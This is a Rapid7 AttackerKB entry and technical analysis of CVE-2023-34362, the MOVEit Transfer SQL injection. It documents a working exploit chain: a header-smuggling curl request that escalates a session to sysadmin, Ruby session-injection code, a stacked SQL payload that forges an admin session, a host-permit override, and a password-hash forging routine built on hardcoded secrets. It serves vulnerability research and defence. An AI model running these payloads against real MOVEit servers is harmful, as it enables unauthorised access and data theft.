Attacker Value
Very High
(2 users assessed)
Exploitability
Moderate
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
14

CVE-2023-34362

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

In Progress MOVEit Transfer before 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), a SQL injection vulnerability has been found in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain access to MOVEit Transfer’s database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, and execute SQL statements that alter or delete database elements. NOTE: this is exploited in the wild in May and June 2023; exploitation of unpatched systems can occur via HTTP or HTTPS. All versions (e.g., 2020.0 and 2019x) before the five explicitly mentioned versions are affected, including older unsupported versions.

Add Assessment

2
Ratings
Technical Analysis

Based on learnings from developing a RCE exploit, our AttackerKB Analysis, and given additional PoC’s are now available publicly I think the exploitability rating for this vulnerability warrants an increase from the original difficult rating.

General Information

References

Exploit
The following exploit POCs have not been verified by Rapid7 researchers, but are sourced from: nomi-sec/PoC-in-GitHub.
Additional sources will be added here as they become relevant.
Notes: We will only add the top 3 POCs for a given CVE. POCs added here must have at least 2 GitHub stars.

Additional Info

Technical Analysis

Description

On May 31, 2023, Progress Software disclosed a critical SQL injection vulnerability that was later assigned CVE-2023-34362. Rapid7 has observed exploitation in the wild and, as such, this patch should be deployed on an emergency basis.

On June 9, 2023, they released a second patch to address several parts of an exploit chain that were not fully mitigated by the first patch. CVE-2023-35036 was assigned to the second vulnerability on June 11.

The following versions are affected by the original vulnerability, CVE-2023-34362 (older versions should be considered affected as well):

  • MOVEit Transfer 2023.0.0 (15.0) and earlier
  • MOVEit Transfer 2022.1.5 (14.1) and earlier
  • MOVEit Transfer 2022.0.4 (14.0) and earlier
  • MOVEit Transfer 2021.0.6 (13.0) and earlier
  • MOVEit Transfer 2020.1.0 (12.1) and earlier
  • MOVEit Transfer 2020.0.x(12.0) and earlier – no patch is available for this version

This analysis will focus on a full exploit chain for CVE-2023-34362. Notably, the vendor, Progress Software, has continued to update their advisories for both vulnerabilities. We recommend that MOVEit Transfer customers use those advisories (CVE-2023-34362 and CVE-2023-35036) as their source of truth on affected and fixed versions.

Technical analysis

The exploit for this issue is quite complex, and requires chaining together a number of different issues. You can download our full proof of concept here. We will outline how we built the proof of concept and how it works below.

Throughout this analysis we used MOVEit Transfer version 2023.0.0.

Patch Diffing

Since most of the application is .NET, we used dotPeek to decompile the code, then fed the decompiled code into diff. We determined that the (first) patch changes two major functions, which gave us a starting point.

First, they removed the SetAllSessionVarsFromHeaders() function, which was used by machine2.aspx:

    public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

And second, they made changes to a rather complex SQL query that is used in several different places:

     private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

Since the advisory mentions SQL injection, and the changes are to a SQL function, that seems like the most likely place.

We spent a lot of time tracing calls that execute that SQL statement, but naive injection attempts fail – in every case the application correctly escapes the arguments. The actual issues wound up being quite a bit more complex!

Session injection

We were reasonably sure that SetAllSessionVarsFromHeaders() would be an important part of the exploit chain. Logically, that function should, well, set session variables from headers. Looking at the code, it reads key: value pairs from the X-siLock-SessVar header, and the code is only called from machine2.aspx in the session_setvars transaction.

We experimented with a variety of session variables that would appear to do something interesting, and developed this payload, which escalates an existing session to sysadmin privileges:

C:\Users\Administrator>curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://localhost/machine2.aspx"
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain
Server: Microsoft-IIS/10.0
X-siLock-ErrorCode: 0
X-siLock-FolderType: 0
X-siLock-InstID: 1884
X-siLock-Username: fp88r6zpmj24lad7
X-siLock-LoginName: test@test.com
X-siLock-RealName: test@test.com
X-siLock-IntegrityVerified: False
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-Robots-Tag: noindex
Date: Fri, 09 Jun 2023 18:15:57 GMT
Content-Length: 0

While that worked well, it has a fatal flaw; machine2.aspx cannot be used remotely:

$ curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://10.0.0.193/machine2.aspx"
HTTP/2 200 
[...]
x-silock-errordescription: Remote access prohibited.

We explored a lot of options to bypass the remote access check, such as using a header (X-siLock-IPAddress) to set the IP address, but nothing we found worked. We had to find another way!

Header smuggling

In logs provided to us by Rapid7 services teams, we observed that machine2.aspx is actually fetched by localhost (::1) and is accessed shortly after a call to an ISAPI endpoint is called with an action parameter of m2:

"2023-05-31 POST /moveitisapi/moveitisapi.dll action=m2 443
"2023-05-31 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200

ISAPI modules are handlers that are written in low-level languages and loaded directly into IIS’s memory space.

The call coming from localhost struck us as very suspicious, but moveitisapi.dll wasn’t meaningfully changed in the first patch (it would later be patched in the second patch, which would have made this much easier to find). Since it’s written in C++, we loaded it into IDA and started analyzing the code.

We spent a significant amount of time reverse engineering the module, and from what we could glean, the only permitted action allowed by the m2 action, which fowards requests to machine2.aspx, is folder_add_by_path:

.text:00007FF8698E0964                 lea     r8, [rbp+890h+silock_transaction_buffer_probably] ; header_buffer
.text:00007FF8698E0968                 lea     rdx, header_name ; "X-siLock-Transaction"
.text:00007FF8698E096F                 mov     rcx, rbx        ; void *
.text:00007FF8698E0972                 call    get_header_probably ; <-- Get header
.text:00007FF8698E0977                 lea     rdx, folder_add_by_path ; "folder_add_by_path"
.text:00007FF8698E097E                 lea     rcx, [rbp+890h+silock_transaction_buffer_probably] ; String1
.text:00007FF8698E0982                 call    _stricmp
.text:00007FF8698E0987                 xor     esi, esi
.text:00007FF8698E0989                 test    eax, eax
.text:00007FF8698E098B                 jnz     log_illegal_transaction ; Returns "Illegal transaction" in the header
.text:00007FF8698E098B                                         ;
.text:00007FF8698E098B                                         ; Transaction apparently must be "folder_add_by_path"

We dug into all of the .NET code related to folder_add_by_path, but even with a privileged user, it doesn’t really do anything exciting, and seemed like a dead end. We even fuzzed it with tools such as Burp Suite in case we missed something. There didn’t seem to be an obvious connection between that transaction and the SQL code at all!

To streamline testing, we developed a small Ruby utility that would eventually serve as the basis for our proof of concept; while we don’t have the exact code now, it looked something like:

require 'httparty'
require 'socket'
require 'pp'

TARGET = "https://#{ARGV[0] || '10.0.0.193'}"

# Get an initial ASP.NET_SessionId token and also a siLockLongTermInstID.
puts
puts "Getting a session cookie..."
r = HTTParty.get("#{TARGET}/", verify: false)
cookies = r.get_fields('Set-Cookie').join('; ')
puts "Cookies = #{cookies}"

puts HTTParty.get(
  "#{TARGET}/moveitisapi/moveitisapi.dll?action=m2",
  verify: false,
  headers: {
    'Cookie' => cookies,
    'X-siLock-Transaction': 'folder_add_by_path',
  },
).headers

Which output:

[...]
{"server"=>["Microsoft-IIS/10.0"], "date"=>["Fri, 09 Jun 2023 18:30:54 GMT"], "connection"=>["close"], "x-silock-errorcode"=>["2320"], "x-silock-errordescription"=>["Invalid transaction ''"], "x-silock-foldertype"=>["0"], "x-silock-instid"=>["1884"], "x-silock-username"=>["Anonymous"], "x-silock-realname"=>["Anonymous"], "x-silock-integrityverified"=>["False"], "content-length"=>["0"]}

We noticed something weird here: we set the transaction to folder_add_by_path, which made ISAPI happy, but the backend complained that the transaction was an empty string – ''! What’s going on here? Looking at the server log, we see that the header, as the .NET application sees it, was:

X-Silock-Transaction: folder_add_by_path

For context, the header is supposed to be:

X-siLock-Transaction: folder_add_by_path

Notice that the case is different? It turns out that Ruby, in its infinite wisdom (and, it turns out, helpfulness!), changes the case of headers. Headers are supposed to be case-insensitive, which the ISAPI code agrees with – it converts headers to lowercase before checking them. But the .NET code requires the headers to be exactly the right case, which gives us an opportunity to send X-SILOCK-TRANSACTION and X-siLock-Transaction at the same time. If we do that, the ISAPI application sees both and the .NET application only sees the second. Progress!

That isn’t quite enough, though! If ISAPI sees multiple of the “same” header, they’re combined into a single header with comma-separated values, which means if we send both folder_add_by_path and session_setvars, the transaction, as ISAPI sees it, would be combined into folder_add_by_path, session_setvars. That’s no good!

To fit the final piece of the header-smuggling puzzle into place, we realized that the get_header_probably code also doesn’t care where in a header the header name is – it matches it anywhere in the string – even in the value! Between the case-insensitivity and bad matching code, we found a payload that works perfectly to slip an illegal transaction past the ISAPI code:

$ curl -ik -b "ASP.NET_SessionId=0nisxf5zik0u5ircok2q2mb0" -H 'X-siLock-Test: abcdX-SILOCK-Transaction: folder_add_by_path' -H "X-siLock-Transaction: sessio
n_setvars" -H "X-siLock-SessVar: MyPermission: 1000" 'https://10.0.0.193/moveitisapi/moveitisapi.dll?action=m2'
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
Date: Fri, 09 Jun 2023 18:43:06 GMT
Connection: close
X-siLock-ErrorCode: 0
X-siLock-FolderType: 0
X-siLock-InstID: 1884
X-siLock-Username: fp88r6zpmj24lad7
X-siLock-LoginName: test@test.com
X-siLock-RealName: test@test.com
X-siLock-IntegrityVerified: False
Content-Length: 0

Using this payload, we could escalate privileges to sysadmin, and basically perform any action in the application using our upgraded session. That’s enough to cause a lot of damage, so it’s interesting that the attackers went further and exploited SQL injection!

SQL Injection

So now we can set session variables remotely, but how do we pivot from that to SQL injection?

From the logs we obtained from Rapid7’s services team, the next file requested after (presumably) setting session variables is guestaccess.aspx, so that’s a logical place to look.

We were reasonably sure, from the patch, that the interesting function is going to be UserGetUsersWithEmailAddress(), which raises the question: is it possible to get from guestaccess.aspx to UserGetUsersWithEmailAddress()?

The answer is yes! We need to make the following sequence of function calls happen:

  • GetHTML() (in SILGuestAccess.cs), which calls
  • PerformAction() (in SILGuestAccess.cs), which calls…
  • msgEngine.MsgPostForGuest() (in MsgEngine.cs), which calls…
  • userEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() (in UserEngine.cs), which calls…
  • UserGetUsersWithEmailAddress() (in UserEngine.cs), which is the (presumably) vulnerable function!

While we know a path exists from guestaccess.aspx to the SQL injection code, it requires quite a lot of set-up to actually follow that path. Let’s see!

Much of guestaccess.aspx is concerned with guests accessing files that are queued up for them to download by registered users. The problem is, we don’t have a registered user, much less a file! But, near the top of GetHTML() in SILGuestAccess.cs, we see this interesting-looking call:

this.m_pkginfo.LoadFromSession()

Session! That’s the thing we can sabotage with session_setvars! Let’s see what that function does; in SILGuestPackageInfo.cs we can find that function:

    public void LoadFromSession()
    {
      this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");
      this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");
      this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");
      this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");
      this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");
      this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0;
      this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");
      this.Viewed = -(SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) ? 1 : 0);
    }

We can set each and every one of those variables to any value we want, using the header-injection code above with the session_setvars transaction. That means we can build our own downloadable package that doesn’t actually exist!

Here’s an example that builds an accessible package (we’ve left out the set-up and functions here, it’s getting too complex to use cURL requests, but you can find them in our proof of concept):

set_session(cookies, {
  'MyPkgAccessCode'            => 'accesscode', # Must match the final request Arg06
  'MyPkgID'                    => '0', # Is self provisioned? (must be 0 for the exploit to work)
  'MyGuestEmailAddr'           => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
  'MyPkgInstID'                => '1234', # this can be any int value
  'MyPkgSelfProvisionedRecips' => 'recip@recip.com',
})

That creates a fake package in the session, including an access code known to us. Once that’s in the session, we run into two more hurdles.

First, our username must be Guest, otherwise the session is destroyed (by default we’re Anonymous, which doesn’t get a session at all):

  if (Operators.CompareString(username, "Guest", false) == 0) // If username == Guest...
  {
    // [...]
  }
  else if (Operators.CompareString(username, "Anonymous", false) != 0 && Operators.CompareString(username, "", false) != 0)
  {
    this.siGlobs.objDebug.Log(20, "Found existing registered user session; clearing for guest use....");
    this.siGlobs.objUser.RemoveSession();
  }

To bypass that check, we can set the MyUsername session variable to Guest. Session injection works again!

The second hurdle is, a valid CSRF token is required; otherwise, we run into this error condition:

      if (Operators.CompareString(this.siGlobs.Transaction, "", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "dummy", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "msgpassword", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "signoff", false) != 0 && Operators.CompareString(this.siGlobs.objUtility.GetCT(), this.siGlobs.CsrfTokenIncoming, false) != 0)
      {
        this.siGlobs.objDebug.Log(50, "Invalid CsrfToken value; will not run the transaction.");
        this.SetWarningStatus(this.siGlobs.objI11N.GetMsg(20271));
      }

It’s oddly tricky to get a valid CSRF token – it must be done after setting MyUsername to Guest, but most pages that return CSRF tokens (such as human.aspx) will immediately wipe out guest sessions. We eventually discovered that setting the Transaction to dummy, Arg06 to anything, and Arg12 to promptaccesscode on guestaccess.aspx would return a form with a usable CSRF token:

$ curl -ski 'https://10.0.0.193/guestaccess.aspx?Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode' | grep csrf
[...]
<input type="hidden" name="csrftoken" value="44ad7cfa2e1a73b7a636c0bb0f9ff8d8b8e4239d">
[...]

Getting all of this to line up at the same time, and to troubleshoot broken sessions and other issues, was quite complex! If you do anything wrong, the application wipes out your session, and it’s often difficult to know why.

Once we have MyUsername set to Guest and a valid CSRF token, we can try creating that fake package and accessing the vulnerable function. To make sure it’s working, we can enable logging on MySQL by connecting as the root MySQL user and running the following commands:

SET global log_output = 'FILE';
SET global general_log_file='mysql.log';
SET global general_log = 1;

Then perform all the steps above to create the package and set the username to Guest, and finally request guestaccess.aspx with the query string:

Arg06=accesscode&transaction=secmsgpost&Arg05=sendauto&csrftoken=<token>`

If we look at the MySQL log that we created (which should be in c:\MySQL\data\mysql.log), we can verify that the SQL query we saw in the patch is executed on the email address that we set up in the package:

2023-06-09T19:40:21.688213Z     36172 Query     SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='recip@recip.com' OR  `Email` LIKE 'recip@recip.com,%'  OR  `Email` LIKE '%,recip@recip.com'  OR  `Email` LIKE '%,recip@recip.com,%' ) ORDER BY LoginName

Let’s change recip@recip.com to akb'testinjection in our session:

set_session(cookies, {
  'MyPkgAccessCode'            => 'accesscode', # Must match the final request Arg06
  'MyPkgID'                    => '0', # Is self provisioned? (must be 0)
  'MyGuestEmailAddr'           => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
  'MyPkgInstID'                => '1234', # this can be any int value
  'MyPkgSelfProvisionedRecips' => "akb'testinjection",
  'MyUsername'                 => 'Guest',
})

Then get the CSRF token and perform the request again. This time, since we’re trying to cause an error, we can check the application logs (C:\MOVEitTransfer\Logs\DMZ_WEB.log by default), searching for a SQL error:

2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: caught exception on statement 'SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='akb'testinjection' OR  `Email` LIKE 'akb'testinjection,%'  OR  `Email` LIKE '%,akb'testinjection'  OR  `Email` LIKE '%,akb'testinjection,%' ) ORDER BY LoginName'
2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: Caught exception MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'testinjection' OR  `Email` LIKE 'akb'testinjection,%'  OR  `Email` LIKE '%,akb't' at line 1
2023-06-09 12:42:44.081 #22 z10 DbConn.DoRead_DS: Exception stack trace:
   at MySql.Data.MySqlClient.MySqlStream.ReadPacket()
   at MySql.Data.MySqlClient.NativeDriver.GetResult(Int32& affectedRow, Int64& insertedId)
   at MySql.Data.MySqlClient.Driver.NextResult(Int32 statementId, Boolean force)
   at MySql.Data.MySqlClient.MySqlDataReader.NextResult()
   at MySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
   at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet)
   at MOVEit.DMZ.Core.DbConn.<>c__DisplayClass76_0.<DoRead_DS>g__LocalGetDataSet|0()
   at MOVEit.DMZ.Core.DbConn.ExecuteSqlActionWithRetry[T](Func`1 dbAction, Action`3 onRetryAction)
   at MOVEit.DMZ.Core.DbConn.DoRead_DS(DbConnection conn, String query, Dictionary`2 parameters, String& reason)

Excellent!

Weaponizing the SQL injection

This is where we come to a fork in the road! There are many ways to proceed, but we’ll look at one of them. This was our first attempt at an exploit, and have since developed a better one (see below).

Once again, we experimented with several different options here, before finally finding a solution. We tried to create an entry in refreshtokens and other places, but that appears to be cryptographically protected.

We ended up developing the following payload (not that we can’t use commas in the request, so we worked around that with lots of UPDATE statements):

a@a.com');INSERT INTO activesessions (SessionID) values ('rd0szzmafyxku5msjbbskx0h');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET InstId='1234' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET IpAddress='10.0.0.227' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET Timeout='60' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET ResilNode='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET AcctReady='1' WHERE SessionID='rd0szzmafyxku5msjbbskx0h'#

Which creates an entry in the activesessions table that looks like:

mysql> select * from activesessions where sessionid='rd0szzmafyxku5msjbbskx0h';
+------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+
| ID   | Username         | LoginName     | RealName      | InstID | ActAsInstID | IPAddress  | LastTouch           | SessionID                | DMZInterface | Remove | Refresh | RefreshAuthTabs | Timeout | ResilNode | Cert | GuestAccessCode | UsingSiteMinder | SAMLIdPID | SAMLNameID | SAMLNameIDXML | SAMLSessionIndex | AcctReady | InterfaceCode |
+------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+
| 6195 | 6qt2vnlopc1pgb77 | test@test.com | test@test.com |   1234 |        NULL | 10.0.0.227 | 2023-06-09 12:50:23 | rd0szzmafyxku5msjbbskx0h |           10 |      0 |       0 |               0 |      20 |         0 |      | NULL            |               0 |         0 | NULL       | NULL          | NULL             |         1 |             0 |
+------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+

Once that’s done, the user can visit human.aspx (which might require a refresh as it fixes the session internally) and get access to the application as the highest-privileged user – sysadmin.

Remote Code Execution

With the ability to perform unauthenticated SQL injection we can now explore how to achieve unauthenticated remote code execution (RCE). We explore our strategy in detail below, but the outline of the steps taken are as follows:

  • Leverage the SQLi to allow remote host access to the REST API.
  • Leverage the SQLi to create a new sysadmin user with a known password.
  • Use the new sysadmin account to login and retrieve a REST API access token.
  • Use the REST API to discover a folder ID number.
  • Use the REST API to begin a resumable file upload to this folder.
  • Leverage the SQLi to leak out the encryption key for the Organization with an InstID of 0.
  • Generate a .NET deserialization gadget and encrypt it using the leaked encryption key.
  • Leverage the SQLi to store the encrypted deserialization gadget in the resumable file uploads state in the database.
  • Use the REST API to resume the file upload and trigger the deserialization, allowing us to achieve RCE.
  • Leverage the SQLi to remove almost all artifacts of exploitation from the database.

Allow Remote Access

MOVEit Transfer enforces IP address access to the REST API via rules defined in the moveittransfer.hostpermits table, as shown below. To allow the attacker to access the REST API remotely during exploitation we must first modify this table to allow all external IP addresses.

mysql> SELECT * FROM moveittransfer.hostpermits;
+----+--------+------+---------+----------+---------------------+----------+----------------+
| ID | InstID | Rule | Host    | PermitID | Comment             | Priority | HostnameLookup |
+----+--------+------+---------+----------+---------------------+----------+----------------+
|  1 |     10 |    1 | *.*.*.* |       16 | IP Lockout Wildcard |    99999 | NULL           |
|  2 |   8937 |    1 | 10.*.*.* |        4 |                     |        1 | NULL           |
|  3 |   8937 |    1 | 10.*.*.* |        3 |                     |        1 | NULL           |
+----+--------+------+---------+----------+---------------------+----------+----------------+
3 rows in set (0.00 sec)

Leveraging the SQLi with the following statement achieves this.

UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'

Create a sysadmin

Now that all external IP addresses can access the REST API, we need to create suitable credentials with a known password so we may log in to the API. As passwords are encrypted in the database we need to understand the encryption mechanism used. Exploring the method MOVEit.DMZ.Core.Cryptography.CheckPasswordHash we can see that there are several hashing mechanism available, the majority of which rely on a secret encryption key, known as the “Org Key” which as an attacker we don’t (yet) know. Fortunately there is an older hashing mechanism called MakeV0V1PasswordHash that will create a hash without this “Org Key” as shown below:

    public static ApplicationHashing.PasswordHashTestResult CheckPasswordHash(
      string password,
      string hashString,
      int orgId)
    {
      ApplicationHashing.PasswordHashTestResult passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.Good;
      byte[] byteArray = ApplicationHashing.PasswordHashStringToByteArray(hashString);
      if ((int) byteArray[0] != byteArray.Length)
        throw new ArgumentException("Invalid password hash: hash length mismatch.");
      byte[] array1;
      byte[] second;
      switch (byteArray[1])
      {
        case 0:
          passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.GoodButOld;
          byte[] numArray = new byte[0];
          byte[] array2 = new ArraySegment<byte>(byteArray, 4, 4).ToArray<byte>();
          array1 = new ArraySegment<byte>(byteArray, 8, byteArray.Length - 8).ToArray<byte>();
          byte[] orgKey1 = numArray; // <---- org key will be empty
          string password1 = password;
          second = ApplicationHashing.MakeV0V1PasswordHash(array2, orgKey1, password1); // <----
          break;
          // …snip…

    private static byte[] MakeV0V1PasswordHash(byte[] salt, byte[] orgKey, string password)
    {
      using (SerializableHashAlgorithm hashObject = Hashing.GetHashObject(Hashing.HashAlgorithms.Md5))
        return ApplicationHashing.MakePasswordHash(salt, orgKey, MOVEit.DMZ.Core.Constants.AnsiEncoding.GetBytes(password), (HashAlgorithm) hashObject);
    }

    private static byte[] MakePasswordHash(
      byte[] salt,
      byte[] orgKey,
      byte[] password,
      HashAlgorithm algorithm)
    {
      byte[] secret1 = SecretProvider.GetSecret("pwpre");
      algorithm.TransformBlock(secret1, 0, secret1.Length, secret1, 0);
      Array.Clear((Array) secret1, 0, secret1.Length);
      algorithm.TransformBlock(salt, 0, salt.Length, salt, 0);
      if (orgKey.Length != 0)
        algorithm.TransformBlock(orgKey, 0, orgKey.Length, orgKey, 0);
      algorithm.TransformBlock(password, 0, password.Length, password, 0);
      byte[] secret2 = SecretProvider.GetSecret("pwpost");
      algorithm.TransformFinalBlock(secret2, 0, secret2.Length);
      Array.Clear((Array) secret2, 0, secret2.Length);
      return algorithm.Hash;
    }

    internal static byte[] GetSecret(string type)
    {
      switch (type)
      {
        // …snip…
        case "pwpost":
          return System.Convert.FromBase64String(CGKI.GKIS(1832849602674192119L, 3685880422578908704L, 6883805924711697603L, 6740642329746897286L, 692300177375962740L));
        case "pwpre":
          return System.Convert.FromBase64String(CGKI.GKIS(1845332329897477212L, 4637843192103954791L, 1234463786088007299L, 8498588879767226209L, 3995686897690123380L));
        default:
          throw new ApplicationException("Unknown secret type " + type);
      }

We can observe that a password is hashed using MD5 along with a salt value and two static “secret” values called pwpre and pwpost. These static values will have a base64 encoded value of =VT2jkEH3vAs= and =0maaSIA5oy0= respectively.

We can therefore generate a known password using a hashing algorithm that does not require the “Org Key” with the following Ruby.

def makev1password(password, salt='AAAA')

	raise "password cannot be empty" if password.empty?

	raise "salt must be 4 bytes" if salt.length != 4

	# These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret
	pwpre = Base64.decode64('=VT2jkEH3vAs=')

	pwpost = Base64.decode64('=0maaSIA5oy0=')

	md5 = Digest::MD5.new
	md5.update(pwpre)
	md5.update(salt)
	md5.update(password)
	md5.update(pwpost)

	pw = [(4+4+16), 0, 0, 0].pack('CCCC')
	pw << salt
	pw << md5.digest

	return Base64.strict_encode64(pw).gsub('+','-')
end

hax_username = rand_string(8)
